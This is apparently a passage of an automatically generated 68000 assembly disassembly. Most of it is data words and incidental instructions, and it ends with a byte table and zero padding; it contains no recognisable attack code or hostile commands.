DC.W $0604 ;6EE
DC.W $FB5F ;6F0
DC.W $F5F4 ;6F2
DC.W $F01B ;6F4
DC.W $0E08 ;6F6
DC.W $88EA ;6F8
SUB.B D6,(A3) ;6FA: 9D13
DC.W $A59F ;6FC
MULS D1,D5 ;6FE: CBC1
MOVE.B (A2)+,D4 ;700: 181A
DC.W $C9ED ;702
MULS -(A3),D2 ;704: C5E3
CMP -(A1),D1 ;706: B261
DC.W $FD04 ;708
LAB_0054:
OR.B (A5),D6 ;70A: 8C15
MOVE.L -(A6),D2 ;70C: 2426
DC.W $FBE2 ;70E
DC.W $D3EA ;710
DC.W $319D ;712
DC.W $F7D3 ;714
OR (A1),D1 ;716: 8251
DC.W $8834 ;718
AND.L D4,(A2)+ ;71A: C99A
DC.W $E3C3 ;71C
ROXL.B #5,D3 ;71E: EB13
DC.W $960F ;720
MOVE (EXT_0008).W,D5 ;722: 3A38E184
ROL.L D2,D2 ;726: E5BA
EOR.L D5,(A2) ;728: BB92
DC.W $F856 ;72A
EOR.L D5,-10056(A6) ;72C: BBAED8B8
DC.W $B4BA ;730
DC.W $9DFD ;732
DC.W $9DB6 ;734
DC.W $5233 ;736
AND.L D7,-20692(A6) ;738: CFAEAF2C
LSL #1,D5 ;73C: E34D
ADD (A6),D3 ;73E: D656
ROR #8,D4 ;740: E05C
DC.W $A1AA ;742
OR.B D2,-(A3) ;744: 8523
DIVU -(A3),D3 ;746: 86E3
SUB.L D7,(A6) ;748: 9F96
CMPA.L (A6)+,A7 ;74A: BFDE
CMPA.L (A3),A7 ;74C: BFD3
EOR.L D0,-(A2) ;74E: B1A2
SUB.L D1,(A2)+ ;750: 939A
DC.W $F394 ;752
SUB.L D6,D1 ;754: 9286
SUBX.B D1,D6 ;756: 9D01
DC.W $8F8E ;758
DC.W $8E7F ;75A
DC.W $EDEC ;75C
DC.W $A1A1 ;75E
DC.W $878E ;760
DC.W $AF80 ;762
ADDX.B D6,D4 ;764: D906
ADDX.B D5,D7 ;766: DF05
DC.W $9AFB ;768
MOVE D6,(A5) ;76A: 3A86
DC.W $7F7A ;76C
DC.W $5FFD ;76E
DC.W $92F2 ;770
DC.W $A6B0 ;772
DC.W $7FE3 ;774
DC.W $7170 ;776
DC.W $6C87 ;778
BTST D5,-(A4) ;77A: 0B24
DC.W $4343 ;77C
BVS.S LAB_0057 ;77E: 696C
DIVU -(A2),D1 ;780: 82E2
CMPA.L -(A1),A6 ;782: BDE1
MOVE.L (A0)+,(A2) ;784: 2498
BHI.S LAB_0054 ;786: 6282
DC.W $1DCD ;788
MOVE.B -(A6),(A5) ;78A: 1AA6
ADDQ.L #4,D2 ;78C: 5882
DC.W $7FDC ;78E
MOVE 8148(A4),D3 ;790: 362C1FD4
MOVEA #$756A,A2 ;794: 347C756A
DC.W $4CF2 ;798
ADD.L D6,D7 ;79A: DE86
BLE.S LAB_0055 ;79C: 6F08
SUB.L D2,D5 ;79E: 9A82
DC.W $F1C2 ;7A0
MOVE.L D0,D0 ;7A2: 2000
BCS.S LAB_0057 ;7A4: 6546
LAB_0055:
BCLR D4,-(A7) ;7A6: 09A7
DC.W $403E ;7A8
DC.W $5C3C ;7AA
MOVE D6,(A5)+ ;7AC: 3AC6
ADDQ.B #7,-(A4) ;7AE: 5E24
DC.W $7BE9 ;7B0
DC.W $35CA ;7B2
DC.W $7FED ;7B4
DC.W $4ECE ;7B6
DC.W $4E2E ;7B8
MOVEA.L D4,A6 ;7BA: 2C44
TST.B 10684(A2) ;7BC: 4A2A29BC
BTST D3,-(A5) ;7C0: 0725
DC.W $6B51 ;7C2
DC.W $6FFD ;7C4
SGT (A6)+ ;7C6: 5EDE
DC.W $7F1E ;7C8
DC.W $1C44 ;7CA
CHK (A3),D5 ;7CC: 4B93
DC.W $5CF2 ;7CE
MOVE.B D2,-(A3) ;7D0: 1702
MOVEQ #20,D2 ;7D2: 7414
DC.W $117A ;7D4
DC.W $5DCF ;7D6
DC.W $0FF0 ;7D8
BGE.S LAB_0056 ;7DA: 6C0C
EORI #$687A,SR ;7DC: 0A7C687A
DC.W $4BD9 ;7E0
MOVEQ #-6,D5 ;7E2: 7AFA
MOVE.L D1,-(A1) ;7E4: 2301
DC.W $4F75 ;7E6
LAB_0056:
DC.W $457D ;7E8
DC.W $9934 ;7EA
LAB_0057:
DC.W $1F77 ;7EC
DC.W $AA7D ;7EE
DC.W $4D4A ;7F0
DC.W $F5F4 ;7F2
DC.W $F2DE ;7F4
SUBX -(A4),-(A2) ;7F6: 954C
DC.W $A814 ;7F8
LSR.L #7,D6 ;7FA: EE8E
AND D6,-12398(A3) ;7FC: CD6BCF92
LSR.L D2,D6 ;800: E4AE
AND.L D6,-(A6) ;802: CDA6
DC.W $C53E ;804
LAB_0058:
CMP.B 8226(A5),D0 ;806: B02D2022
EOR.L D6,-(A2) ;80A: BDA2
DC.W $933D ;80C
DC.W $A626 ;80E
DC.W $FBAE ;810
ADDA.L (A0),A2 ;812: D5D0
DC.W $F3D1 ;814
DC.W $A3D1 ;816
OR D0,-(A0) ;818: 8160
DC.W $32F6 ;81A
DC.W $814A ;81C
DC.W $AEE4 ;81E
OR.B D5,(A1) ;820: 8B11
DC.W $BA3A ;822
OR.B (EXT_0007).W,D2 ;824: 8438C2FC
DC.W $FDED ;828
SUBX.L D6,D2 ;82A: 9586
CMP.L D6,D4 ;82C: B886
DC.W $5B34 ;82E
DC.W $D3B0 ;830
DC.W $E7F4 ;832
SBCD -(A6),-(A2) ;834: 850E
LAB_0059:
TRAP #15 ;836: 4E4F
ROXR #4,D4 ;838: E854
DC.W $AEB6 ;83A
DC.W $8D6A ;83C
OR.B D7,-32282(A3) ;83E: 8F2B81E6
DIVS -(A6),D6 ;842: 8DE6
DC.W $F021 ;844
DC.W $B77C ;846
AND (A5),D7 ;848: CE55
BHI.S LAB_005B ;84A: 6260
ADDX D5,D3 ;84C: D745
ASR D3,D6 ;84E: E666
ADDA.L -(A3),A4 ;850: D9E3
CMP.L (A2)+,D5 ;852: BA9A
CMPA.L -28268(A2),A7 ;854: BFEA9194
DC.W $ADF4 ;858
DC.W $8F76 ;85A
DC.W $ABB0 ;85C
DC.W $8B72 ;85E
AND.B D4,31402(A0) ;860: C9287AAA
DC.W $AFDD ;864
DC.W $CFF5 ;866
LAB_005A:
DC.W $C7FF ;868
DC.W $1B7C ;86A
OR.B -(A2),D2 ;86C: 8422
MOVE.B -(A4),(A4)+ ;86E: 18E4
DC.W $3DF6 ;870
MOVE.B -(A2),17224(A1) ;872: 13624348
DC.W $739A ;876
BCHG D4,-(A4) ;878: 0964
MOVE.L (A6),(A5) ;87A: 2A96
BVS.S LAB_0058+2 ;87C: 698A
DC.W $2BFB ;87E
BCHG D3,-(A6) ;880: 0766
SUB.B -(A6),D5 ;882: 9A26
MOVE.L (A0)+,(A2) ;884: 2498
BLS.S LAB_0059 ;886: 63AE
DC.W $79DC ;888
DC.W $7966 ;88A
SUBQ.L #4,(A2) ;88C: 5992
MOVE.B -(A2),(A7) ;88E: 1EA2
SUBQ.L #2,A6 ;890: 558E
DC.W $7D47 ;892
DIVS (A1),D5 ;894: 8BD1
DC.W $77D4 ;896
BCS.S LAB_005C ;898: 6574
CHK D6,D7 ;89A: 4F86
DC.W $F3CF ;89C
MOVEA.L A0,A6 ;89E: 2C48
CHK (A6),D3 ;8A0: 4796
DC.W $02BE ;8A2
DC.W $41FA ;8A4
BSET D1,(A3) ;8A6: 03D3
DC.W $A7BB ;8A8
DC.W $ABB8 ;8AA
LAB_005B:
MOVEQ #-64,D6 ;8AC: 7CC0
DC.W $3B8E ;8AE
DC.W $11B5 ;8B0
DC.W $1B36 ;8B2
ROXL.L D6,D1 ;8B4: EDB1
DC.W $1972 ;8B6
DC.W $4E2E ;8B8
DC.W $2DD2 ;8BA
BSR.S LAB_005A ;8BC: 61AA
DC.W $4E22 ;8BE
MOVE.B (A4)+,-(A3) ;8C0: 171C
DC.W $27BA ;8C2
DC.W $4526 ;8C4
DC.W $4120 ;8C6
DC.W $E1F2 ;8C8
SPL -(A6) ;8CA: 5AE6
DC.W $198E ;8CC
SUBQ #5,A3 ;8CE: 5B4B
MOVE 6022(A4),-(A0) ;8D0: 312C1786
MOVEQ #110,D1 ;8D4: 726E
MOVEQ #124,D0 ;8D6: 707C
DC.W $2374 ;8D8
BCHG D7,(A2) ;8DA: 0F52
DC.W $4988 ;8DC
DC.W $7FF7 ;8DE
CHK -1350(A0),D4 ;8E0: 49A8FABA
MOVE (EXT_0001).W,CCR ;8E4: 44F8037E
DC.W $D97E ;8E8
SUB.L -(A4),D6 ;8EA: 9CA4
ADDX.L D0,D7 ;8EC: DF80
DC.W $FBA2 ;8EE
DC.W $D5BC ;8F0
DC.W $D1FE ;8F2
CMP.B (A0)+,D3 ;8F4: B618
DC.W $F1E4 ;8F6
MULS (A4),D4 ;8F8: C9D4
ROL.L #7,D6 ;8FA: EF9E
MOVE -30488(A1),D4 ;8FC: 382988E8
ROR (A2)+ ;900: E6DA
DC.W $84FA ;902
DIVU (A4)+,D1 ;904: 82DC
MULS (A2)+,D2 ;906: C5DA
ADDX.L D2,D6 ;908: DD82
DC.W $AB23 ;90A
DC.W $9574 ;90C
LAB_005C:
MOVEA.L -(A6),A3 ;90E: 2666
CMPA (A6),A3 ;910: B6D6
MOVE.L (A4),(A5) ;912: 2A94
SUBX.B -(A5),-(A7) ;914: 9F0D
DC.W $AE2E ;916
DC.W $EFCD ;918
OR.L D1,EXT_0006 ;91A: 83B9E4F0CBD6
DC.W $89B3 ;920
DC.W $EAFE ;922
MULS (A6)+,D0 ;924: C1DE
DC.W $8FB5 ;926
DC.W $F759 ;928
CLR D2 ;92A: 4242
DC.W $DABA ;92C
LEA -1175(A4),A2 ;92E: 45ECFB69
DC.W $CA4B ;932
ADD D1,(A4) ;934: D354
DC.W $F957 ;936
ADD (A0),D0 ;938: D050
AND.L 21930(A4),D6 ;93A: CCAC55AA
ROXL D2,D7 ;93E: E577
ADD (A0)+,D4 ;940: D858
DC.W $EBD1 ;942
OR.L D0,(A0)+ ;944: 8198
DC.W $A3AA ;946
EOR.L D5,-(A4) ;948: BBA4
SUB.L D7,(A6) ;94A: 9F96
EOR.L D6,-(A0) ;94C: BDA0
SUB.L D5,(A2) ;94E: 9B92
ADDA.L -(A3),A4 ;950: D9E3
DC.W $F45A ;952
DC.W $F27C ;954
ADD -29290(A2),D3 ;956: D66A8D96
DC.W $A987 ;95A
DC.W $ADB0 ;95C
OR -(A6),D4 ;95E: 8866
ASR #3,D6 ;960: E646
ASR D2,D4 ;962: E464
DC.W $ABB8 ;964
DC.W $807E ;966
DC.W $ABFA ;968
DC.W $EBF8 ;96A
DC.W $1ACE ;96C
MOVE A5,-(A3) ;96E: 370D
DC.W $5973 ;970
DC.W $EBF0 ;972
DC.W $CDCE ;974
DC.W $7170 ;976
MOVE.B (A1),(A0) ;978: 1091
LAB_005D:
BCHG D4,-27310(A4) ;97A: 096C9552
DC.W $476A ;97E
CMPA.L -(A3),A4 ;980: B9E3
CMPA.L -(A7),A5 ;982: BBE7
DC.W $FDE6 ;984
DC.W $4922 ;986
DC.W $3E70 ;988
MOVE (A4)+,-23182(A5) ;98A: 3B5CA572
MOVE.B -(A2),(A7) ;98E: 1EA2
ADDQ.L #3,D6 ;990: 5686
BLS.S LAB_005D+2 ;992: 63E8
DC.W $ACAD ;994
DC.W $1D8F ;996
DC.W $30B0 ;998
BVS.S LAB_005F ;99A: 6976
TAS -54(A2,D2.L) ;99C: 4AF228CA
MOVEA.L D6,A3 ;9A0: 2646
DC.W $BBF4 ;9A2
DC.W $6341 ;9A4
DC.W $0F35 ;9A6
MOVE.B D4,-(A3) ;9A8: 1704
MOVE D6,(A6) ;9AA: 3C86
MOVEQ #-45,D1 ;9AC: 72D3
DC.W $3930 ;9AE
DC.W $193A ;9B0
DC.W $ADB1 ;9B2
ROXL.L D6,D6 ;9B4: EDB6
DC.W $1734 ;9B6
AND.L D6,-(A5) ;9B8: CDA5
SLT (A2) ;9BA: 5DD2
MOVE.B (A0),-(A0) ;9BC: 1110
MOVE.L A4,(A4) ;9BE: 288C
NEGX.B -(A4) ;9C0: 4024
DC.W $77A8 ;9C2
DC.W $2FB6 ;9C4
BCHG D6,(A0)+ ;9C6: 0D58
MOVE.B (A2)+,-(A7) ;9C8: 1F1A
MOVEQ #50,D5 ;9CA: 7A32
DC.W $178E ;9CC
MOVE -(A1),5910(A2) ;9CE: 35611716
MOVEQ #44,D1 ;9D2: 722C
MOVE.B D6,24421(A7) ;9D4: 1F465F65
BVC.S LAB_005E ;9D8: 6804
SUBQ.L #4,D0 ;9DA: 5980
SPL D1 ;9DC: 5AC1
LAB_005E:
DC.W $F6EE ;9DE
CHK D6,D6 ;9E0: 4D86
DC.W $4B71 ;9E2
BHI.S LAB_0061 ;9E4: 6240
DC.W $BBBC ;9E6
DC.W $FFFE ;9E8
DC.W $FD93 ;9EA
SUB.B D7,(A6) ;9EC: 9F16
DC.W $FFBD ;9EE
DC.W $F7E6 ;9F0
LSL.B #6,D0 ;9F2: ED08
DC.W $F392 ;9F4
ROXL.B D4,D5 ;9F6: E935
DIVS -(A2),D7 ;9F8: 8FE2
DIVU D0,D6 ;9FA: 8CC0
SUBQ #8,(A6) ;9FC: 5156
DC.W $E9E8 ;9FE
SUB.B (A1)+,D4 ;A00: 9819
DC.W $8132 ;A02
DC.W $82CC ;A04
DC.W $A360 ;A06
OR (A5)+,D6 ;A08: 8C5D
EOR.B D6,(A2) ;A0A: BD12
DC.W $D7B6 ;A0C
ADDA.L (A4)+,A4 ;A0E: D9DC
ADDA.L (A2),A3 ;A10: D7D2
LAB_005F:
EOR.B D1,(A2) ;A12: B312
CMPA D0,A1 ;A14: B2C0
BMI.S LAB_0065 ;A16: 6B6C
DC.W $CFCE ;A18
LAB_0060:
DC.W $B233 ;A1A
DC.W $AF76 ;A1C
DC.W $A8DC ;A1E
DC.W $FEBA ;A20
DC.W $8BB5 ;A22
MULS D0,D1 ;A24: C3C0
LAB_0061:
DC.W $A11E ;A26
DC.W $F852 ;A28
LAB_0062:
DC.W $BDBE ;A2A
DC.W $97B1 ;A2C
DC.W $93BF ;A2E
DC.W $2D30 ;A30
LAB_0063:
DC.W $FBC1 ;A32
DC.W $8B4E ;A34
DC.W $D0B0 ;A36
SUB.B D3,-7207(A3) ;A38: 972BE3D9
OR.L D2,(A0) ;A3C: 8590
DC.W $A8A6 ;A3E
DC.W $4329 ;A40
DC.W $8F8D ;A42
ADDQ #6,(A6)+ ;A44: 5C5E
DC.W $8DBA ;A46
MOVEA.L (A7),A5 ;A48: 2A57
DC.W $FA8C ;A4A
SUB.B D4,(A4)+ ;A4C: 991C
OR -(A7),D3 ;A4E: 8667
DC.W $6869 ;A50
MOVE.L (A1),-(A4) ;A52: 2911
DC.W $F490 ;A54
DC.W $F17E ;A56
ADDQ.B #8,-(A4) ;A58: 5024
MOVEQ #112,D1 ;A5A: 7270
ADDQ.B #2,-(A3) ;A5C: 5423
MOVEQ #116,D3 ;A5E: 7674
DC.W $C9F3 ;A60
ABCD D4,D3 ;A62: C704
DC.W $93BB ;A64
OR D0,(A7)+ ;A66: 815F
LAB_0064:
OR D7,EXT_0005 ;A68: 8F791A84517A
DC.W $7BF8 ;A6E
DC.W $7776 ;A70
DC.W $757B ;A72
DC.W $96F2 ;A74
MOVE D5,-(A7) ;A76: 3F05
MOVE.L (A4),(A6) ;A78: 2C94
SUB.L 11920(A6),D2 ;A7A: 94AE2E90
BVS.S LAB_0060 ;A7E: 699A
MOVE.L (A4)+,(A0) ;A80: 209C
BCS.S LAB_0063 ;A82: 65AE
LAB_0065:
MOVE.L (A0)+,(A5) ;A84: 2A98
BSR.S LAB_0062 ;A86: 61A2
MOVE.B -(A4),(A2) ;A88: 14A4
DC.W $A4A8 ;A8A
MOVE A6,(A5) ;A8C: 3A8E
MOVE.B -(A2),(A4) ;A8E: 18A2
DC.W $AE99 ;A90
LEA (A1),A2 ;A92: 45D1
DC.W $7758 ;A94
DC.W $7952 ;A96
ADDA.L D7,A5 ;A98: DBC7
BMI.S LAB_0066 ;A9A: 6B4E
SUBA.L A1,A1 ;A9C: 93C9
BSR.S LAB_0064+4 ;A9E: 61CC
SUBA.L D6,A0 ;AA0: 91C6
DC.W $63C7 ;AA2
MOVE.B D0,(A0)+ ;AA4: 10C0
BEQ.S LAB_0066 ;AA6: 6742
DC.W $A4F7 ;AA8
DC.W $ABB1 ;AAA
DC.W $E0F0 ;AAC
MOVEQ #-62,D7 ;AAE: 7EC2
AND.L D4,D7 ;AB0: CE84
DC.W $03B7 ;AB2
DC.W $1B37 ;AB4
DC.W $33B4 ;AB6
DC.W $2F2E ;AB8
MOVE.L 27344(A3),-(A6) ;ABA: 2D2B6AD0
ADD.L A7,D0 ;ABE: D08F
DC.W $37A2 ;AC0
DC.W $31FD ;AC2
MOVEQ #-24,D1 ;AC4: 72E8
ADDA (A4)+,A7 ;AC6: DEDC
DC.W $A403 ;AC8
OR.B D3,(A0)+ ;ACA: 8718
TAS (A1) ;ACC: 4AD1
ROR -(A2) ;ACE: E6E2
DC.W $550B ;AD0
MOVE (A4)+,CCR ;AD2: 44DC
DC.W $ECEE ;AD4
SUBQ #7,-(A5) ;AD6: 5F65
DC.W $6B61 ;AD8
MOVEQ #34,D7 ;ADA: 7E22
DC.W $6763 ;ADC
BMI.S LAB_0068 ;ADE: 6B7A
BNE.S LAB_0067 ;AE0: 6674
MOVEQ #4,D6 ;AE2: 7C04
MOVEP 21864(A0),D4 ;AE4: 09085568
SUBA (A6)+,A5 ;AE8: 9ADE
LAB_0066:
EOR.L D2,(A5) ;AEA: B595
OR.L D7,(A1)+ ;AEC: 8F99
SUBA.L (A5),A0 ;AEE: 91D5
EOR.L D7,(A7)+ ;AF0: BF9F
SUB.L (A1),D7 ;AF2: 9E91
DC.W $81F8 ;AF4
CMP.L (A5),D3 ;AF6: B695
DC.W $818B ;AF8
SUBX.L -(A5),-(A7) ;AFA: 9F8D
SUBX.L D3,D7 ;AFC: 9F83
OR.L D6,D3 ;AFE: 8686
ADDA.L D6,A6 ;B00: DDC6
ADDA.L (A4),A2 ;B02: D5D4
ADDA.L (A2),A1 ;B04: D3D2
ADDA.L (A1),A0 ;B06: D1D1
DC.W $EDEC ;B08
DC.W $D7F1 ;B0A
DC.W $FB8C ;B0C
DC.W $BCAA ;B0E
DC.W $A4BF ;B10
DC.W $BABA ;B12
DC.W $F3E0 ;B14
DC.W $FFE0 ;B16
DC.W $FEC4 ;B18
SUB.L D4,-(A4) ;B1A: 99A4
DC.W $AAA4 ;B1C
DC.W $A2BB ;B1E
ASL.L D3,D0 ;B20: E7A0
DC.W $AAB6 ;B22
ROXL.L D1,D6 ;B24: E3B6
DC.W $A9A5 ;B26
SUBA.L -11048(A4),A7 ;B28: 9FECD4D8
ADD.L (A6),D7 ;B2C: DE96
DC.W $99F5 ;B2E
ADDA D5,A7 ;B30: DEC5
MULS (A1),D0 ;B32: C1D1
AND.L D0,(A3) ;B34: C193
DC.W $90BA ;B36
DC.W $AFAE ;B38
DC.W $ADAC ;B3A
DC.W $ABAA ;B3C
DC.W $A9A8 ;B3E
DC.W $A7A6 ;B40
DC.W $A5A4 ;B42
DC.W $A3A2 ;B44
DC.W $A1A0 ;B46
SUBX.L D4,D7 ;B48: 9F84
BCC.S LAB_0069 ;B4A: 641C
SUB.L D5,(A2)+ ;B4C: 9B9A
SUBA D0,A7 ;B4E: 9EC0
SUB.L D3,(A6) ;B50: 9796
SUB.L D2,(A4) ;B52: 9594
SUB.L D1,(A2) ;B54: 9392
LAB_0067:
SUB.L D0,(A0) ;B56: 9190
DC.W $8F8E ;B58
LAB_0068:
DC.W $8D8C ;B5A
DC.W $8B8A ;B5C
DC.W $8988 ;B5E
DC.W $8786 ;B60
DC.W $8584 ;B62
DC.W $8382 ;B64
DC.W $8180 ;B66
LAB_0069:
DC.W $7F7E ;B68
DC.W $7D7C ;B6A
DC.W $7B7A ;B6C
DC.W $7978 ;B6E
ORI.B #$00,D0 ;B70: 00000000
ORI.B #$00,D0 ;B74: 00000000
ORI.B #$00,D0 ;B78: 00000000
ORI.B #$00,D0 ;B7C: 00000000
ORI.B #$00,D0 ;B80: 00000000
ORI.B #$00,D0 ;B84: 00000000
ORI.B #$00,D0 ;B88: 00000000
ORI.B #$00,D0 ;B8C: 00000000
ORI.B #$00,D0 ;B90: 00000000
END